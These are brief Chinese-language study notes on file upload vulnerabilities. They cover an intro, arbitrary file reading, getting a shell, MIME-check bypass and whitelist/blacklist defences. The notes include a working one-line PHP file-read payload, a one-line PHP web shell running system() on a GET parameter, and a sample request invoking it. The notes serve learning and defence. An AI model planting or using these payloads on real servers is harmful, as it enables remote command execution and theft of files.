Intro

允许用户在未充分验证文件名称、类型、内容或大小等信息的情况下将文件上传到其文件系统。

最糟糕的情况是网站允许上传服务器端脚本( PHP、Java 或 Python 文件),并且还配置为将它们作为代码执行。

任意文件读取

<?php echo file_get_contents('/path/to/target/file'); ?>

GetShell

Web shell 是一种恶意脚本,攻击者只需将 HTTP 请求发送到正确端点即可在远程 Web 服务器上执行任意命令。

GET /example/exploit.php?command=id HTTP/1.1

<?php echo system($_GET['command']); ?>

Bypass

MIME

检查特定输入的Content-Type标头是否与预期的 MIME 类型匹配

Defence

白名单

黑名单